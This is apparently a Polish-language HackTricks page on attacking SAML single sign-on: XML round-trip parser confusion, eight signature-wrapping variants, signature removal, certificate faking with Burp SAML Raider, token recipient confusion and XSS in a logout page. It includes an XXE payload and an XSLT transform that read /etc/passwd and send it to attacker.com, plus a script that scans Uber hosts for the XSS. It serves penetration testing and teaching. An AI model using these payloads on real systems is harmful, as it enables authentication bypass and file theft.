SAML Attacks

SAML Attacks

Wsparcie dla HackTricks

Podstawowe informacje

Narzędzie

SAMLExtractor: Narzędzie, które może przyjąć URL lub listę URL i zwrócić SAML consume URL.

XML round-trip

W XML podpisana część XML jest zapisywana w pamięci, następnie wykonywane jest kodowanie/dekodowanie i sprawdzany jest podpis. Idealnie, to kodowanie/dekodowanie nie powinno zmieniać danych, ale w oparciu o ten scenariusz, dane sprawdzane i oryginalne dane mogą nie być takie same.

Na przykład, sprawdź poniższy kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Uruchomienie programu przeciwko REXML 3.2.4 lub wcześniejszym wersjom skutkowałoby następującym wynikiem zamiast tego:

First child in original doc: Y
First child after round-trip: Z

To jest to, jak REXML widział oryginalny dokument XML z powyższego programu:

A tak to widział po rundzie analizy i serializacji:

Aby uzyskać więcej informacji na temat podatności i sposobów jej wykorzystania:

Ataki na Owijanie Podpisów XML

W atakach na Owijanie Podpisów XML (XSW), przeciwnicy wykorzystują podatność, która pojawia się, gdy dokumenty XML są przetwarzane w dwóch odrębnych fazach: walidacji podpisu i wywołania funkcji. Ataki te polegają na modyfikacji struktury dokumentu XML. Konkretnie, atakujący wstrzykuje fałszywe elementy, które nie naruszają ważności Podpisu XML. Ta manipulacja ma na celu stworzenie rozbieżności między elementami analizowanymi przez logikę aplikacji a tymi sprawdzanymi przez moduł weryfikacji podpisu. W rezultacie, podczas gdy Podpis XML pozostaje technicznie ważny i przechodzi weryfikację, logika aplikacji przetwarza fałszywe elementy. W konsekwencji, atakujący skutecznie omija ochronę integralności i uwierzytelnianie pochodzenia Podpisu XML, umożliwiając wstrzykiwanie dowolnej treści bez wykrycia.

Poniższe ataki opierają się na tym wpisie na blogu i tym artykule. Sprawdź je, aby uzyskać więcej szczegółów.

XSW #1

  • Strategia: Dodawany jest nowy element root zawierający podpis.

  • Implikacja: Walidator może się pomylić między legalnym "Response -> Assertion -> Subject" a "złym nowym Response -> Assertion -> Subject" atakującego, co prowadzi do problemów z integralnością danych.

XSW #2

  • Różnica od XSW #1: Wykorzystuje podpis odłączony zamiast podpisu opakowującego.

  • Implikacja: "Zła" struktura, podobnie jak w XSW #1, ma na celu oszukanie logiki biznesowej po sprawdzeniu integralności.

XSW #3

  • Strategia: Tworzony jest zły Assertion na tym samym poziomie hierarchicznym co oryginalny assertion.

  • Implikacja: Ma na celu wprowadzenie w błąd logiki biznesowej, aby używała złośliwych danych.

XSW #4

  • Różnica od XSW #3: Oryginalny Assertion staje się dzieckiem powielonego (złego) Assertion.

  • Implikacja: Podobnie jak w XSW #3, ale bardziej agresywnie zmienia strukturę XML.

XSW #5

  • Unikalny aspekt: Ani Podpis, ani oryginalny Assertion nie przestrzegają standardowych konfiguracji (opakowany/opakowujący/odłączony).

  • Implikacja: Skopiowany Assertion opakowuje Podpis, modyfikując oczekiwaną strukturę dokumentu.

XSW #6

  • Strategia: Podobne wstawienie lokalizacji jak w XSW #4 i #5, ale z twistem.

  • Implikacja: Skopiowany Assertion opakowuje Podpis, który następnie opakowuje oryginalny Assertion, tworząc zagnieżdżoną strukturę oszukańczą.

XSW #7

  • Strategia: Wstawiany jest element Extensions z skopiowanym Assertion jako dzieckiem.

  • Implikacja: Wykorzystuje mniej restrykcyjną schemę elementu Extensions, aby obejść środki przeciwdziałania walidacji schematu, szczególnie w bibliotekach takich jak OpenSAML.

XSW #8

  • Różnica od XSW #7: Wykorzystuje inny mniej restrykcyjny element XML dla wariantu ataku.

  • Implikacja: Oryginalny Assertion staje się dzieckiem mniej restrykcyjnego elementu, odwracając strukturę używaną w XSW #7.

Narzędzie

Możesz użyć rozszerzenia Burp SAML Raider, aby przeanalizować żądanie, zastosować dowolny atak XSW, który wybierzesz, i go uruchomić.

XXE

Jeśli nie wiesz, jakie rodzaje ataków to XXE, przeczytaj następującą stronę:

Odpowiedzi SAML to skompresowane i zakodowane w base64 dokumenty XML i mogą być podatne na ataki XML External Entity (XXE). Manipulując strukturą XML Odpowiedzi SAML, atakujący mogą próbować wykorzystać podatności XXE. Oto jak taki atak może być zobrazowany:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Możesz również użyć rozszerzenia Burp SAML Raider, aby wygenerować POC z żądania SAML w celu przetestowania możliwych luk XXE i luk SAML.

Sprawdź także ten wykład: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Aby uzyskać więcej informacji na temat XSLT, przejdź do:

Rozszerzalne przekształcenia arkuszy stylów (XSLT) mogą być używane do przekształcania dokumentów XML w różne formaty, takie jak HTML, JSON lub PDF. Ważne jest, aby zauważyć, że przekształcenia XSLT są wykonywane przed weryfikacją podpisu cyfrowego. Oznacza to, że atak może być skuteczny nawet bez ważnego podpisu; wystarczający jest podpis własnoręczny lub nieważny podpis, aby kontynuować.

Tutaj możesz znaleźć POC do sprawdzenia tego rodzaju luk, na stronie hacktricks wspomnianej na początku tej sekcji możesz znaleźć ładunki.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Możesz również użyć rozszerzenia Burp SAML Raider, aby wygenerować POC z żądania SAML w celu przetestowania możliwych podatności XSLT.

Sprawdź także ten wykład: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

XML Signature Exclusion obserwuje zachowanie implementacji SAML, gdy element Signature jest nieobecny. Jeśli ten element jest brakujący, walidacja podpisu może nie wystąpić, co czyni go podatnym. Można to przetestować, zmieniając zawartość, która zazwyczaj jest weryfikowana przez podpis.

Tool

Możesz również użyć rozszerzenia Burp SAML Raider. Przechwyć odpowiedź SAML i kliknij Remove Signatures. W ten sposób wszystkie elementy Signature zostaną usunięte.

Po usunięciu podpisów, pozwól, aby żądanie przeszło do celu. Jeśli podpis nie jest wymagany przez usługę

Certificate Faking

Certificate Faking

Certificate Faking to technika testowania, czy Dostawca Usług (SP) prawidłowo weryfikuje, że wiadomość SAML jest podpisana przez zaufanego Dostawcę Tożsamości (IdP). Polega na użyciu *certyfikatu samopodpisanego do podpisania odpowiedzi SAML lub asercji, co pomaga w ocenie procesu walidacji zaufania między SP a IdP.

Jak przeprowadzić Certificate Faking

Poniższe kroki przedstawiają proces przy użyciu rozszerzenia Burp SAML Raider:

  1. Przechwyć odpowiedź SAML.

  2. Jeśli odpowiedź zawiera podpis, wyślij certyfikat do SAML Raider Certs, używając przycisku Send Certificate to SAML Raider Certs.

  3. W zakładce Certyfikaty SAML Raider wybierz zaimportowany certyfikat i kliknij Save and Self-Sign, aby utworzyć samopodpisany klon oryginalnego certyfikatu.

  4. Wróć do przechwyconego żądania w Proxy Burp. Wybierz nowy certyfikat samopodpisany z rozwijanej listy XML Signature.

  5. Usuń wszelkie istniejące podpisy za pomocą przycisku Remove Signatures.

  6. Podpisz wiadomość lub asercję nowym certyfikatem, używając przycisku (Re-)Sign Message lub (Re-)Sign Assertion, w zależności od potrzeb.

  7. Prześlij podpisaną wiadomość. Sukces autoryzacji wskazuje, że SP akceptuje wiadomości podpisane przez twój certyfikat samopodpisany, ujawniając potencjalne podatności w procesie walidacji wiadomości SAML.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion i Service Provider Target Confusion polegają na sprawdzeniu, czy Dostawca Usług prawidłowo weryfikuje zamierzonego odbiorcę odpowiedzi. W istocie, Dostawca Usług powinien odrzucić odpowiedź autoryzacyjną, jeśli była przeznaczona dla innego dostawcy. Krytycznym elementem jest tutaj pole Recipient, znajdujące się w elemencie SubjectConfirmationData odpowiedzi SAML. To pole określa URL, wskazujący, gdzie asercja musi być wysłana. Jeśli rzeczywisty odbiorca nie odpowiada zamierzonemu Dostawcy Usług, asercja powinna być uznana za nieważną.

Jak to działa

Aby atak Token Recipient Confusion (SAML-TRC) był wykonalny, muszą być spełnione określone warunki. Po pierwsze, musi istnieć ważne konto na Dostawcy Usług (nazywanym SP-Legit). Po drugie, docelowy Dostawca Usług (SP-Target) musi akceptować tokeny od tego samego Dostawcy Tożsamości, który obsługuje SP-Legit.

Proces ataku jest prosty w tych warunkach. Autentyczna sesja jest inicjowana z SP-Legit za pośrednictwem wspólnego Dostawcy Tożsamości. Odpowiedź SAML od Dostawcy Tożsamości do SP-Legit jest przechwytywana. Ta przechwycona odpowiedź SAML, pierwotnie przeznaczona dla SP-Legit, jest następnie przekierowywana do SP-Target. Sukces tego ataku mierzy się tym, że SP-Target akceptuje asercję, przyznając dostęp do zasobów pod tą samą nazwą konta używaną dla SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS w funkcji wylogowywania

Oryginalne badania można znaleźć pod tym linkiem.

Podczas procesu brutalnego wymuszania katalogów odkryto stronę wylogowania pod:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Po uzyskaniu dostępu do tego linku nastąpiło przekierowanie do:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

To ujawniono, że parametr base akceptuje URL. Biorąc to pod uwagę, pojawił się pomysł, aby zastąpić URL javascript:alert(123); w próbie zainicjowania ataku XSS (Cross-Site Scripting).

Masowe Wykorzystanie

Z tych badań:

Narzędzie SAMLExtractor zostało użyte do analizy subdomen uberinternal.com dla domen wykorzystujących tę samą bibliotekę. Następnie opracowano skrypt, który celował w stronę oidauth/prompt. Ten skrypt testuje XSS (Cross-Site Scripting) poprzez wprowadzanie danych i sprawdzanie, czy są one odzwierciedlane w wyjściu. W przypadkach, gdy dane wejściowe są rzeczywiście odzwierciedlane, skrypt oznacza stronę jako podatną.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Odniesienia

Wsparcie HackTricks

Last updated